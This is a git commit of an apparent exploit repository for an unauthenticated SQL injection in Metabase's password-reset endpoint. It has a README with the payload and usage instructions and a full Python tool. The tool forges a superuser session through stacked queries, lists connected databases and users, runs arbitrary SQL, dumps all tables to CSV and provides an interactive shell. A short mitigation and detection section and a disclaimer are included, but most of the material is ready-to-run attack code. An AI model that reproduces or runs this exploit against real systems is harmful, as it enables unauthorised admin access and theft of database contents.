Upload files to "/"

This commit is contained in:
2026-08-10 19:08:30 +00:00
commit 2806dbd2d9
4 changed files with 704 additions and 0 deletions
+59
View File
@@ -0,0 +1,59 @@
Creative Commons Attribution-NoDerivatives 4.0 International
=======================================================================
Copyright (c) 2026 ZSecurity / Linuxhackingid
This work is licensed under the Creative Commons Attribution-NoDerivatives
4.0 International License. To view a copy of this license, visit:
http://creativecommons.org/licenses/by-nd/4.0/
=======================================================================
You are free to:
Share — copy and redistribute the material in any medium or format
for any purpose, even commercially.
The licensor cannot revoke these freedoms as long as you follow the
license terms.
=======================================================================
Under the following terms:
Attribution — You must give appropriate credit, provide a link to
the license, and indicate if changes were made. You may do so in
any reasonable manner, but not in any way that suggests the licensor
endorses you or your use.
NoDerivatives — If you remix, transform, or build upon the material,
you may not distribute the modified material.
No additional restrictions — You may not apply legal terms or
technological measures that legally restrict others from doing
anything the license permits.
=======================================================================
NOTICES:
You do not have to comply with the license for elements of the
material in the public domain or where your use is permitted by an
applicable exception or limitation.
No warranties are given. The license may not give you all of the
permissions necessary for your intended use. For example, other
rights such as publicity, privacy, or moral rights may limit how
you use the material.
=======================================================================
THE WORK IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR
OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
ARISING FROM, OUT OF OR IN CONNECTION WITH THE WORK OR THE USE OR OTHER
DEALINGS IN THE WORK.
+183
View File
@@ -0,0 +1,183 @@
# Metabase SQL Injection Zero-Day Exploit
**GHSA-vwf4-m7j8-wcjf | CVSS 10.0 | Unauthenticated Remote Admin Access**
A sophisticated unauthenticated SQL injection exploit for Metabase versions 0.58.0 through 0.62.8, leveraging a stacked query injection in the `/api/session/reset_password` endpoint to forge administrator sessions.
## Author
**ZSecurity / Linuxhackingid**
## Vulnerability
| Property | Detail |
|----------|--------|
| Advisory | GHSA-vwf4-m7j8-wcjf |
| CVSS | 10.0 (Critical) |
| Vector | `AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H` |
| CVE | Not assigned |
| Affected | Metabase 0.58.0 - 0.62.8 |
| Patched | 0.58.24, 0.59.21, 0.60.17, 0.61.11, **0.62.9**, 0.63.5 |
| Discovered | August 2026 |
| Active Exploitation | Confirmed in the wild |
The `/api/session/reset_password` endpoint accepts an unvalidated `user-id` parameter that accepts nested SQL expressions via `user-id.select.raw`. This raw SQL value is injected directly into the application database WHERE clause, enabling stacked queries that bypass authentication entirely. The HTTP response always returns 400 — the SQL executes as a side effect before validation.
### Attack Flow
```
POST /api/session/reset_password (with SQLi payload in user-id.select.raw)
→ Injects INSERT INTO core_session linking attacker UUID to superuser
→ HTTP 400 "Invalid reset token" (IRRELEVANT — SQL already executed)
GET /api/user/current (with X-Metabase-Session: attacker-uuid)
→ HTTP 200 — Full admin access
```
### Impact
- Full administrator access to Metabase instance
- Read/write all connected database credentials
- Execute arbitrary SQL on all connected databases
- Export all data from connected data warehouses
- Modify application configuration
- Create/delete users and API keys
## Requirements
- Python 3.7+
- No external dependencies (stdlib only)
```bash
python3 --version
```
## Installation
```bash
git clone https://github.com/linuxhackingid/metabase-exploit
cd metabase-exploit
chmod +x metabase-poc.py
```
## Usage
### Check if target is vulnerable
```bash
python3 metabase-poc.py --target http://TARGET:3000 --check
```
Output:
```
[*] Metabase v0.62.7
[*] Site URL: http://192.168.0.100:3003
[+] VULNERABLE — fixed in 0.62.9
```
### Full exploit with database dump
```bash
python3 metabase-poc.py --target http://TARGET:3000 --exploit --dump
```
### Interactive shell with existing session
```bash
python3 metabase-poc.py --target http://TARGET:3000 --session SESSION_KEY --interactive
```
### Interactive shell (full exploit first)
```bash
python3 metabase-poc.py --target http://TARGET:3000 --exploit --interactive
```
Interactive commands:
```
metabase> dbs — List connected databases
metabase> users — List all Metabase users
metabase> settings — Dump configuration
metabase> query 1 SELECT * FROM users — Run raw SQL
metabase> dump ./output 1 — Dump all tables to CSV
metabase> get /api/database — Raw API request
metabase> quit — Exit
```
### All options
| Flag | Description |
|------|-------------|
| `--target`, `-t` | Metabase URL (required) |
| `--check`, `-c` | Version check + vulnerability confirmation |
| `--exploit`, `-e` | Run full SQLi exploit chain |
| `--interactive`, `-i` | Interactive shell after exploit |
| `--dump`, `-d` | Auto-dump all database tables to CSV |
| `--cleanup` | Remove forged session after exploit |
| `--session`, `-s` | Use existing session key |
| `--output`, `-o` | Custom output directory for dumps |
| `--delay` | Delay between requests in seconds (default: 4) |
## Technical Details
### Injection Point
```json
POST /api/session/reset_password
Content-Type: application/json
{
"token": "any-value",
"password": "any-value",
"user-id": {
"select": {
"raw": "<SQL INJECTION>"
}
}
}
```
The `raw` value is injected into:
```sql
SELECT ... FROM "core_user" WHERE "id" = (SELECT (<INJECTION>))
```
### Session Hijack Payload
```sql
-2147483648));
INSERT INTO core_session (id, user_id, created_at, key_hashed)
SELECT '<uuid>', id, NOW(), 'exploit'
FROM core_user
WHERE is_superuser IS TRUE AND is_active IS TRUE
ORDER BY id LIMIT 1;
-- marker
```
The attacker-chosen UUID becomes a valid session key linked to the superuser account.
### IOC Detection
Look for this pattern in access logs (same source IP, sequential):
```
POST /api/session/reset_password → HTTP 400
GET /api/user/current → HTTP 200
```
## Mitigation
1. **Upgrade immediately** to patched version (0.62.9+)
2. **Block** `/api/session/reset_password` at reverse proxy/WAF
3. **Revoke** all sessions: `DELETE FROM core_session;`
4. **Rotate** all connected database credentials
5. **Audit** admin accounts and API keys for unauthorized additions
## Disclaimer
This tool is provided for authorized security testing and educational purposes only. The author assumes no liability for misuse. Always obtain explicit written permission before testing any system you do not own.
## License
Creative Commons Attribution-NoDerivatives 4.0 International (CC BY-ND 4.0)
You may share and redistribute this code, but you may NOT modify, adapt, or create derivative works. See LICENSE file for full terms.
+461
View File
@@ -0,0 +1,461 @@
#!/usr/bin/env python3
import argparse
import json
import sys
import time
import uuid
import urllib.request
import urllib.error
import csv
import os
from urllib.parse import urljoin
class MetabaseExploit:
def __init__(self, target, delay=4):
self.target = target.rstrip("/")
self.delay = delay
self.session_key = None
def _req(self, path, method="GET", body=None, session=None, timeout=30):
data = json.dumps(body, separators=(",", ":")).encode() if body else None
headers = {"Content-Type": "application/json"}
if session:
headers["X-Metabase-Session"] = session
req = urllib.request.Request(
urljoin(self.target, path), data=data, headers=headers, method=method
)
try:
with urllib.request.urlopen(req, timeout=timeout) as resp:
raw = resp.read()
return resp.status, json.loads(raw) if raw else {}
except urllib.error.HTTPError as exc:
raw = exc.read()
try:
return exc.code, json.loads(raw)
except json.JSONDecodeError:
return exc.code, {}
def _sqli(self, raw_sql, max_retries=3):
nonce = uuid.uuid4().hex[:6]
payload = {
"token": f"vwf4_{nonce}",
"password": "ComplexPass99!!",
"user-id": {"select": {"raw": raw_sql}},
}
b = {}
for attempt in range(max_retries):
if attempt > 0:
cooldown = 60
print(f" Rate limited, cooling down {cooldown}s (attempt {attempt+1}/{max_retries})...")
time.sleep(cooldown)
else:
time.sleep(self.delay)
s, b = self._req("/api/session/reset_password", method="POST", body=payload)
err = b.get("errors", {})
pwd_err = err.get("password", "")
if "Too ma" in pwd_err:
continue
specific = b.get("specific-errors", {})
if specific:
continue
print(f" Payload accepted (HTTP {s})")
return s, b
print(f" Failed after {max_retries} attempts — rate limit too strict")
return 400, b
def get_info(self):
s, b = self._req("/api/session/properties")
if s != 200:
return None
return {
"version": b.get("version", {}).get("tag", "unknown"),
"has_user_setup": b.get("has-user-setup"),
"setup_token": b.get("setup-token"),
"site_url": b.get("site-url"),
"site_name": b.get("site-name"),
"email_configured": b.get("email-configured?"),
"engines": list(b.get("engines", {}).keys()) if b.get("engines") else [],
"is_hosted": b.get("is-hosted?"),
}
def check_version(self):
s, b = self._req("/api/session/properties")
if s != 200:
return None
ver = b.get("version", {}).get("tag", "")
if not ver:
return None
ver = ver.lstrip("v")
parts = ver.split(".")
if len(parts) < 2:
return None
major, minor = int(parts[0]), int(parts[1])
patch = int(parts[2]) if len(parts) > 2 else 0
if major > 0 or (major == 0 and minor < 58):
return {"vulnerable": False, "version": ver, "reason": "version < 0.58 not affected"}
if major == 0:
if minor == 58 and patch < 24:
return {"vulnerable": True, "version": ver, "fixed": "0.58.24"}
if minor == 59 and patch < 21:
return {"vulnerable": True, "version": ver, "fixed": "0.59.21"}
if minor == 60 and patch < 17:
return {"vulnerable": True, "version": ver, "fixed": "0.60.17"}
if minor == 61 and patch < 11:
return {"vulnerable": True, "version": ver, "fixed": "0.61.11"}
if minor == 62 and patch < 9:
return {"vulnerable": True, "version": ver, "fixed": "0.62.9"}
if minor == 63 and patch < 5:
return {"vulnerable": True, "version": ver, "fixed": "0.63.5"}
if minor > 63:
return {"vulnerable": False, "version": ver, "reason": "version > 0.63 — may be patched"}
return {"vulnerable": True, "version": ver, "fixed": "upgrade required"}
def create_admin_session(self):
self.session_key = str(uuid.uuid4())
quoted = self.session_key.replace("'", "''")
raw = (
"-2147483648)); INSERT INTO core_session "
"(id, user_id, created_at, key_hashed) "
f"SELECT '{quoted}', id, NOW(), 'vwf4-exploit' "
"FROM core_user "
"WHERE is_superuser IS TRUE AND is_active IS TRUE "
"ORDER BY id LIMIT 1; -- "
) + uuid.uuid4().hex[:6]
self._sqli(raw)
time.sleep(2)
s, b = self._req("/api/user/current", session=self.session_key)
if s == 200 and b.get("is_superuser"):
return b
return None
def cleanup_session(self):
if not self.session_key:
return
quoted = self.session_key.replace("'", "''")
raw = (
f"-2147483648)); DELETE FROM core_session WHERE id = '{quoted}'; -- "
) + uuid.uuid4().hex[:6]
self._sqli(raw)
def list_databases(self):
s, b = self._req("/api/database", session=self.session_key)
if s != 200:
return []
return b.get("data", [])
def list_users(self):
s, b = self._req("/api/user", session=self.session_key)
if s != 200:
return []
return b.get("data", [])
def list_settings(self):
s, b = self._req("/api/setting", session=self.session_key)
if s != 200:
return []
return b
def run_query(self, database_id, sql):
s, b = self._req(
"/api/dataset",
method="POST",
session=self.session_key,
body={
"database": database_id,
"type": "native",
"native": {"query": sql},
"parameters": [],
},
)
if b.get("data"):
cols = [c["name"] for c in b["data"]["cols"]]
rows = b["data"]["rows"]
return {"cols": cols, "rows": rows, "count": len(rows)}
if s == 202:
return {"status": "processing"}
return {"error": b.get("error", "unknown error")}
def dump_tables(self, database_id, output_dir):
os.makedirs(output_dir, exist_ok=True)
result = self.run_query(
database_id,
"SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='PUBLIC'",
)
if "rows" not in result:
return []
tables = [row[0] for row in result["rows"] if not row[0].startswith("_")]
dumped = []
for table in tables:
data = self.run_query(database_id, f"SELECT * FROM {table}")
if "rows" not in data:
continue
filepath = os.path.join(output_dir, f"{table}.csv")
with open(filepath, "w", newline="", encoding="utf-8") as f:
writer = csv.writer(f)
writer.writerow(data["cols"])
for row in data["rows"]:
writer.writerow(row)
dumped.append(
{
"table": table,
"rows": data["count"],
"columns": len(data["cols"]),
"file": filepath,
}
)
time.sleep(0.5)
return dumped
def app_db_query(self, sql):
table_name = f"VWF4_DUMP_{uuid.uuid4().hex[:8].upper()}"
raw = (
f"-2147483648)); CREATE TABLE {table_name} AS {sql}; -- "
) + uuid.uuid4().hex[:6]
self._sqli(raw)
return table_name
BANNER = """
╔══════════════════════════════════════════════════════════════╗
║ Metabase SQL Injection Zero-Day Exploit ║
║ GHSA-vwf4-m7j8-wcjf | CVSS 10.0 ║
║ ║
║ Author : ZSecurity / Linuxhackingid ║
║ Target : Metabase v0.58.0 - v0.62.8 ║
║ Vector : POST /api/session/reset_password ║
╚══════════════════════════════════════════════════════════════╝
"""
def mode_check(exp):
info = exp.get_info()
if not info:
print("[-] Target not reachable or not a Metabase instance")
sys.exit(1)
ver_check = exp.check_version()
print(f"\n[*] Metabase {info['version']}")
print(f"[*] Site URL: {info['site_url']}")
print(f"[*] Has setup: {info['has_user_setup']}")
print(f"[*] Email configured: {info['email_configured']}")
if ver_check and ver_check["vulnerable"]:
print(f"\n[+] VULNERABLE — fixed in {ver_check['fixed']}")
elif ver_check:
print(f"\n[-] NOT VULNERABLE — {ver_check.get('reason', 'patched')}")
else:
print("\n[?] Could not determine vulnerability status")
def mode_exploit(exp, interactive=False, dump=False, output=None, cleanup=False):
print("\n[*] Injecting admin session via stacked SQL injection...")
user = exp.create_admin_session()
if not user:
print("[-] Failed to create admin session")
sys.exit(1)
print(f"[+] ADMIN SESSION CREATED")
print(f"[+] Session Key : {exp.session_key}")
print(f"[+] User ID : {user.get('id')}")
print(f"[+] Email : {user.get('email')}")
print(f"[+] Name : {user.get('first_name')} {user.get('last_name')}")
print(f"[+] Superuser : {user.get('is_superuser')}")
dbs = exp.list_databases()
print(f"\n[*] Connected Databases: {len(dbs)}")
for db in dbs:
details = db.get("details", {})
host_info = ""
if details.get("host"):
host_info = f" @ {details['host']}:{details.get('port', '')}"
print(f" [{db['id']}] {db['name']} | {db['engine']}{host_info}")
if details.get("db"):
print(f" DB: {details['db']}")
users = exp.list_users()
print(f"\n[*] Metabase Users: {len(users)}")
for u in users:
groups = u.get("group_ids", [])
print(f" [{u['id']}] {u.get('email')} | {u.get('first_name')} {u.get('last_name')} | Super: {u.get('is_superuser')} | Groups: {groups}")
if dump and dbs:
out_dir = output or f"./metabase_dump_{uuid.uuid4().hex[:8]}"
print(f"\n[*] Dumping database tables to {out_dir}/ ...")
for db in dbs:
db_dir = os.path.join(out_dir, f"db_{db['id']}_{db['engine']}")
print(f" Dumping [{db['id']}] {db['name']}...")
dumped = exp.dump_tables(db["id"], db_dir)
total_rows = sum(d["rows"] for d in dumped)
print(f" → {len(dumped)} tables, {total_rows} rows saved")
print(f"\n[+] Dump complete: {out_dir}/")
if interactive:
mode_interactive(exp)
if cleanup:
print("\n[*] Cleaning up forged session...")
exp.cleanup_session()
print("[+] Session removed from application database")
print(f"\n[+] Manual access:")
print(f" curl -H 'X-Metabase-Session: {exp.session_key}' {exp.target}/api/user/current")
def mode_interactive(exp):
if not exp.session_key:
print("[-] No active session. Run exploit first.")
return
print(f"\n[*] Interactive Shell — session: {exp.session_key[:16]}...")
print(f"[*] Commands: dbs | users | query <sql> | get <path> | dump <dir> | quit")
while True:
try:
cmd = input("\nmetabase> ").strip()
except (EOFError, KeyboardInterrupt):
break
if not cmd:
continue
if cmd in ("quit", "exit", "q"):
break
if cmd == "dbs":
dbs = exp.list_databases()
for db in dbs:
print(f" [{db['id']}] {db['name']} | {db['engine']}")
continue
if cmd == "users":
users = exp.list_users()
for u in users:
print(f" [{u['id']}] {u['email']} | Super: {u.get('is_superuser')}")
continue
if cmd == "settings":
settings = exp.list_settings()
for s in settings:
if s.get("value") and s["value"] not in ("false", "true"):
print(f" {s['key']}: {str(s['value'])[:100]}")
continue
if cmd.startswith("query "):
parts = cmd.split(" ", 2)
if len(parts) < 3:
print(" Usage: query <db_id> <sql>")
continue
try:
db_id = int(parts[1])
sql = parts[2]
except ValueError:
print(" Invalid database ID")
continue
result = exp.run_query(db_id, sql)
if "rows" in result:
print(f" Columns: {result['cols']}")
print(f" Rows: {result['count']}")
for row in result["rows"][:20]:
print(f" {row}")
if result["count"] > 20:
print(f" ... {result['count'] - 20} more rows")
else:
print(f" Error: {result.get('error')}")
continue
if cmd.startswith("dump "):
parts = cmd.split(" ", 2)
out_dir = parts[1] if len(parts) > 1 else f"./metabase_dump_{uuid.uuid4().hex[:8]}"
db_id = int(parts[2]) if len(parts) > 2 else 1
print(f" Dumping DB {db_id} to {out_dir}/ ...")
dumped = exp.dump_tables(db_id, out_dir)
for d in dumped:
print(f" → {d['table']}: {d['rows']} rows → {d['file']}")
continue
if cmd.startswith("get "):
path = cmd[4:]
s, b = exp._req(path, session=exp.session_key)
if isinstance(b, dict):
print(json.dumps(b, indent=2)[:3000])
else:
print(str(b)[:3000])
continue
if cmd == "help":
print(" dbs — List connected databases")
print(" users — List Metabase users")
print(" settings — List configuration")
print(" query <id> <sql> — Run SQL query")
print(" dump <dir> [db_id] — Dump all tables to CSV")
print(" get <path> — Raw API request")
print(" quit — Exit")
continue
s, b = exp._req(cmd, session=exp.session_key)
if isinstance(b, dict):
print(json.dumps(b, indent=2)[:2000])
else:
print(str(b)[:2000])
def main():
parser = argparse.ArgumentParser(
description="Metabase SQL Injection Zero-Day Exploit — GHSA-vwf4-m7j8-wcjf",
epilog="ZSecurity / Linuxhackingid",
)
parser.add_argument("--target", "-t", required=True)
parser.add_argument("--check", "-c", action="store_true")
parser.add_argument("--exploit", "-e", action="store_true")
parser.add_argument("--interactive", "-i", action="store_true")
parser.add_argument("--dump", "-d", action="store_true")
parser.add_argument("--output", "-o")
parser.add_argument("--cleanup", action="store_true")
parser.add_argument("--delay", type=int, default=4)
parser.add_argument("--session", "-s", help="Use existing session key")
args = parser.parse_args()
print(BANNER)
exp = MetabaseExploit(args.target, args.delay)
if args.check:
mode_check(exp)
return
if args.session:
exp.session_key = args.session
s, b = exp._req("/api/user/current", session=exp.session_key)
if s == 200 and b.get("is_superuser"):
print(f"\n[+] Session valid — {b.get('email')} (Superuser: {b.get('is_superuser')})")
else:
print("\n[-] Session invalid or expired")
sys.exit(1)
if args.interactive:
mode_interactive(exp)
elif args.dump:
dbs = exp.list_databases()
out_dir = args.output or f"./metabase_dump_{uuid.uuid4().hex[:8]}"
for db in dbs:
db_dir = os.path.join(out_dir, f"db_{db['id']}_{db['engine']}")
print(f"\n[*] Dumping [{db['id']}] {db['name']} to {db_dir}/ ...")
dumped = exp.dump_tables(db["id"], db_dir)
total_rows = sum(d["rows"] for d in dumped)
print(f" → {len(dumped)} tables, {total_rows} rows")
print(f"\n[+] Complete: {out_dir}/")
return
mode_exploit(exp, interactive=args.interactive, dump=args.dump, output=args.output, cleanup=args.cleanup)
if __name__ == "__main__":
main()
+1
View File
@@ -0,0 +1 @@
urllib3>=2.0